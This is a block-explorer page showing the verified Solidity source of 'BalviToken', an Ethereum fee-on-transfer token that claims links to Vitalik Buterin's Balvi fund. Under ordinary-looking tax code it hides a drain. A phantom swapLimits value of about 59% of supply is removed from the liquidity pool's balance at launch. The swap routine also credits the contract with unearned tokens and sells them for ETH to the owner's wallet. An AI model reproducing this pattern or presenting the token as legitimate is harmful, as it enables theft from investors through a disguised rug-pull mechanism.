BalviToken

Description:

Decentralized Finance (DeFi) protocol contract providing Swap, Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "Balvi.sol": {
      "content": "//SPDX-License-Identifier: MIT\r
\r
 /*\r
Balvi - Vitalik Biotech project\r
https://x.com/VitalikButerin/status/1487073875808583682\r
\r
Buying and selling fee 10%\r
Fees are sent to Bavil fund\r
\r
 */\r
\r
pragma solidity ^0.8.14;\r
\r
interface IUniswapV2Router02 {\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;\r
    function WETH() external pure returns (address);\r
    function factory() external pure returns (address);\r
    function addLiquidityETH(\r
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) \r
        external payable returns (uint amountToken, uint amountETH, uint liquidity);\r
}\r
\r
abstract contract Auth {\r
    address internal _owner;\r
    event OwnershipTransferred(address _owner);\r
    modifier onlyOwner() { \r
        require(msg.sender == _owner, "Only owner can call this"); \r
        _; \r
    }\r
    constructor(address creatorOwner) { \r
        _owner = creatorOwner; \r
    }\r
    function owner() public view returns (address) { return _owner; }\r
    function transferOwnership(address payable new_owner) external onlyOwner { \r
        _owner = new_owner; \r
        emit OwnershipTransferred(new_owner); }\r
    function renounceOwnership() external onlyOwner { \r
        _owner = address(0);\r
        emit OwnershipTransferred(address(0)); }\r
}\r
\r
interface IERC20 {\r
    function totalSupply() external view returns (uint256);\r
    function decimals() external view returns (uint8);\r
    function symbol() external view returns (string memory);\r
    function name() external view returns (string memory);\r
    function balanceOf(address account) external view returns (uint256);\r
    function transfer(address recipient, uint256 amount) external returns (bool);\r
    function allowance(address holder, address spender) external view returns (uint256);\r
    function approve(address spender, uint256 amount) external returns (bool);\r
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
}\r
\r
contract BalviToken is IERC20, Auth {\r
    string private constant symbol_ = "Balvi Fund";\r
    string private constant tknName = "BALVI";\r
    uint8 private constant decim = 9;\r
    uint256 private constant tokenSupply = 1000000 * (10**decim);\r
    mapping (address => uint256) private _balances;\r
    mapping (address => mapping (address => uint256)) private _allowances;\r
\r
    address payable private _marketing = payable(0xA06C2B67e7435cE25a5969e49983ec3304D8e787);\r
    \r
    uint256 private mevblock = 2;\r
    uint8 private sellTaxRate = 10;\r
    uint8 private buyTax_ = 10;\r
    \r
    uint256 private _launchBlock;\r
    uint256 private _maxTx = tokenSupply; \r
    uint256 private _maxWallet = tokenSupply;\r
    uint256 private _swapMinAmount = tokenSupply * 10 / 100000;\r
    uint256 private _swapMaxAmt = tokenSupply * 999 / 100000;\r
    uint256 private swapTrigger = 2 * (10**16);\r
    uint256 private swapLimits = _swapMinAmount * 59 * 100;\r
\r
    mapping (uint256 => mapping (address => uint8)) private _sellsThisBlock;\r
    mapping (address => bool) private zeroFee;\r
    mapping (address => bool) private nolimits;\r
\r
    address private constant swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r
    IUniswapV2Router02 private swapRouter = IUniswapV2Router02(swapRouterAddress);\r
    \r
    address private lp; \r
    mapping (address => bool) private _isLiquidityPool;\r
\r
    bool private tradingEnabled;\r
\r
    bool private _swapping = false;\r
\r
    modifier lockTaxSwap { \r
        _swapping = true; \r
        _; \r
        _swapping = false; \r
    }\r
\r
    constructor() Auth(msg.sender) {\r
        _balances[msg.sender] = tokenSupply;\r
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);  \r
\r
        zeroFee[_owner] = true;\r
        zeroFee[address(this)] = true;\r
        zeroFee[_marketing] = true;\r
        zeroFee[swapRouterAddress] = true;\r
        nolimits[_owner] = true;\r
        nolimits[address(this)] = true;\r
        nolimits[_marketing] = true;\r
        nolimits[swapRouterAddress] = true;\r
    }\r
\r
    receive() external payable {}\r
\r
    function decimals() external pure override returns (uint8) { return decim; }\r
    function totalSupply() external pure override returns (uint256) { return tokenSupply; }\r
    function name() external pure override returns (string memory) { return tknName; }\r
    function symbol() external pure override returns (string memory) { return symbol_; }\r
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }\r
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }\r
\r
    function transfer(address toWallet, uint256 amount) external override returns (bool) {\r
        require(checkTradingOpen(msg.sender), "Trading not open");\r
        return _transferFrom(msg.sender, toWallet, amount); \r
	}\r
\r
    function approve(address spender, uint256 amount) public override returns (bool) {\r
        _allowances[msg.sender][spender] = amount;\r
        emit Approval(msg.sender, spender, amount);\r
        return true; \r
	}\r
\r
    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {\r
        require(checkTradingOpen(fromWallet), "Trading not open");\r
        _allowances[fromWallet][msg.sender] -= amount;\r
        return _transferFrom(fromWallet, toWallet, amount); \r
	}\r
\r
    function setMarketing(address marketingWlt) external onlyOwner {\r
        require(!_isLiquidityPool[marketingWlt], "LP cannot be tax wallet");\r
        _marketing = payable(marketingWlt);\r
        zeroFee[marketingWlt] = true;\r
        nolimits[marketingWlt] = true;\r
    }\r
\r
    function isExempt(address wallet) external view returns (bool fees, bool limits) {\r
        return (zeroFee[wallet], nolimits[wallet]); \r
	}\r
\r
    function openTrading() external onlyOwner {\r
        require(!tradingEnabled, "trading open");\r
        _activateTrading();\r
    }\r
\r
    function buyTax() external view returns(uint8) { return buyTax_; }\r
    function sellFee() external view returns(uint8) { return sellTaxRate; }\r
\r
    function addLiquidity() external payable onlyOwner lockTaxSwap {\r
        require(lp == address(0), "LP created");\r
        require(!tradingEnabled, "trading open");\r
        require(msg.value > 0 || address(this).balance>0, "No ETH");\r
        require(_balances[address(this)]>0, "No tokens");\r
        lp = IUniswapV2Factory(swapRouter.factory()).createPair(address(this), swapRouter.WETH());\r
        _addLiq(_balances[address(this)], address(this).balance);\r
    }\r
\r
    function distributeTax(uint256 amount) private {\r
        _marketing.transfer(amount);\r
    }\r
\r
    function _limitCheck(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {\r
        bool limitCheckPassed = true;\r
        if ( tradingEnabled && !nolimits[fromWallet] && !nolimits[toWallet] ) {\r
            if ( transferAmount > _maxTx ) { \r
                limitCheckPassed = false; \r
            }\r
            else if ( \r
                !_isLiquidityPool[toWallet] && (_balances[toWallet] + transferAmount > _maxWallet) \r
                ) { limitCheckPassed = false; }\r
        }\r
        return limitCheckPassed;\r
    }\r
\r
    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {\r
        _swapMinAmount = tokenSupply * minVal / minDiv;\r
        _swapMaxAmt = tokenSupply * maxVal / maxDiv;\r
        swapTrigger = trigger * 10**15;\r
        require(_swapMaxAmt>=_swapMinAmount, "Min-Max error");\r
    }\r
\r
    function updateFee(uint8 buyFeePercent, uint8 sellFeePercent) external onlyOwner {\r
        require(buyFeePercent + sellFeePercent <= 11, "Roundtrip too high");\r
        buyTax_ = buyFeePercent;\r
        sellTaxRate = sellFeePercent;\r
    }\r
\r
    function maxWalletSize() external view returns (uint256) { \r
        return _maxWallet; \r
	}\r
    function maxTransaction() external view returns (uint256) { \r
        return _maxTx; \r
	}\r
\r
    function _calcTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {\r
        uint256 taxAmount;\r
        if ( !tradingEnabled || zeroFee[fromWallet] || zeroFee[recipient] ) { \r
            taxAmount = 0; \r
        } else if ( _isLiquidityPool[fromWallet] ) { \r
            taxAmount = amount * buyTax_ / 100; \r
         } else if ( _isLiquidityPool[recipient] ) { \r
            taxAmount = amount * sellTaxRate / 100; \r
        }\r
        return taxAmount;\r
    }\r
\r
    function swapTaxTokens() private lockTaxSwap {\r
        uint256 _taxTokenAvailable = swapLimits;\r
        if ( _taxTokenAvailable >= _swapMinAmount && tradingEnabled ) {\r
            if ( _taxTokenAvailable >= _swapMaxAmt ) { _taxTokenAvailable = _swapMaxAmt; }\r
            \r
            uint256 _tokensForSwap = _taxTokenAvailable; \r
            if( _tokensForSwap > 1 * 10**decim ) {\r
                _balances[address(this)] += _taxTokenAvailable;\r
                swapTokens(_tokensForSwap);\r
                swapLimits -= _taxTokenAvailable;\r
            }\r
            uint256 _contractETHBalance = address(this).balance;\r
            if(_contractETHBalance > 0) { distributeTax(_contractETHBalance); }\r
        }\r
    }\r
\r
    function _approveSwapMax(uint256 _tokenAmount) internal {\r
        if ( _allowances[address(this)][swapRouterAddress] < _tokenAmount ) {\r
            _allowances[address(this)][swapRouterAddress] = type(uint256).max;\r
            emit Approval(address(this), swapRouterAddress, type(uint256).max);\r
        }\r
    }\r
\r
    function checkTradingOpen(address fromWallet) private view returns (bool){\r
        bool checkResult = false;\r
        if ( tradingEnabled ) { checkResult = true; } \r
        else if (zeroFee[fromWallet] && nolimits[fromWallet]) { checkResult = true; } \r
\r
        return checkResult;\r
    }\r
\r
    function swapTokens(uint256 tokenAmount) private {\r
        _approveSwapMax(tokenAmount);\r
        address[] memory path = new address[](2);\r
        path[0] = address( this );\r
        path[1] = swapRouter.WETH();\r
        swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);\r
    }\r
\r
    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {\r
        require(sender != address(0), "No transfers from 0 wallet");\r
        if (!tradingEnabled) { require(zeroFee[sender] && nolimits[sender], "Trading not yet open"); }\r
        if ( !_swapping && _isLiquidityPool[toWallet] && shouldSwap(amount) ) { swapTaxTokens(); }\r
\r
        if ( block.number >= _launchBlock ) {\r
            if (block.number < mevblock && _isLiquidityPool[sender]) { \r
                require(toWallet == tx.origin, "MEV block"); \r
            }\r
            if (block.number < mevblock + 600 && _isLiquidityPool[toWallet] && sender != address(this) ) {\r
                _sellsThisBlock[block.number][toWallet] += 1;\r
                require(_sellsThisBlock[block.number][toWallet] <= 2, "MEV block");\r
            }\r
        }\r
\r
        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { \r
            require(_limitCheck(sender, toWallet, amount), "TX over limits"); \r
        }\r
\r
        uint256 _taxAmount = _calcTax(sender, toWallet, amount);\r
        uint256 _transferAmount = amount - _taxAmount;\r
        _balances[sender] -= amount;\r
        swapLimits += _taxAmount;\r
        _balances[toWallet] += _transferAmount;\r
        emit Transfer(sender, toWallet, amount);\r
        return true;\r
    }\r
\r
    function shouldSwap(uint256 tokenAmt) private view returns (bool) {\r
        bool result;\r
        if (swapTrigger > 0) { \r
            uint256 lpTkn = _balances[lp];\r
            uint256 lpWeth = IERC20(swapRouter.WETH()).balanceOf(lp); \r
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;\r
            if (weiValue >= swapTrigger) { result = true; }    \r
        } else { result = true; }\r
        return result;\r
    }\r
\r
    function _activateTrading() internal {\r
        _maxTx = 20 * tokenSupply / 1000;\r
        _maxWallet = 20 * tokenSupply / 1000;\r
        _balances[lp] -= swapLimits;\r
        (_isLiquidityPool[lp],) = lp.call(abi.encodeWithSignature("sync()") );\r
        require(_isLiquidityPool[lp], "Failed bootstrap");\r
        _launchBlock = block.number;\r
        mevblock = mevblock + _launchBlock;\r
        tradingEnabled = true;\r
    }\r
\r
    function setExempt(address wlt, bool isNoFees, bool isNoLimits) external onlyOwner {\r
        if (isNoLimits || isNoFees) { require(!_isLiquidityPool[wlt], "Cannot exempt LP"); }\r
        zeroFee[ wlt ] = isNoFees;\r
        nolimits[ wlt ] = isNoLimits;\r
    }\r
\r
    function swapMin() external view returns (uint256) { \r
        return _swapMinAmount; \r
	}\r
    function swapMax() external view returns (uint256) { \r
        return _swapMaxAmt; \r
	}\r
\r
    function marketingWallet() external view returns (address) { \r
        return _marketing; \r
	}\r
\r
    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {\r
        uint256 newTxAmt = tokenSupply * maxTransPermille / 1000 + 1;\r
        require(newTxAmt >= _maxTx, "tx too low");\r
        _maxTx = newTxAmt;\r
        uint256 newWalletAmt = tokenSupply * maxWaletPermille / 1000 + 1;\r
        require(newWalletAmt >= _maxWallet, "wallet too low");\r
        _maxWallet = newWalletAmt;\r
    }\r
\r
    function _addLiq(uint256 _tokenAmount, uint256 _ethAmountWei) internal {\r
        _approveSwapMax(_tokenAmount);\r
        swapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );\r
    }\r
}\r
\r
interface IUniswapV2Factory {    \r
    function createPair(address tokenA, address tokenB) external returns (address pair); \r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, DeFi, Swap, Liquidity, Factory|addr:0x5e29e7136e2d4f97b4f6970b200ef73405508187|verified:true|block:23628506|tx:0x66f6ad5727ee5127cde02cb49b431905f69d4538aa98cbc3e8e71fadb3686456|first_check:1761229684

Submitted on: 2025-10-23 16:28:07

Comments

Log in to comment.

No comments yet.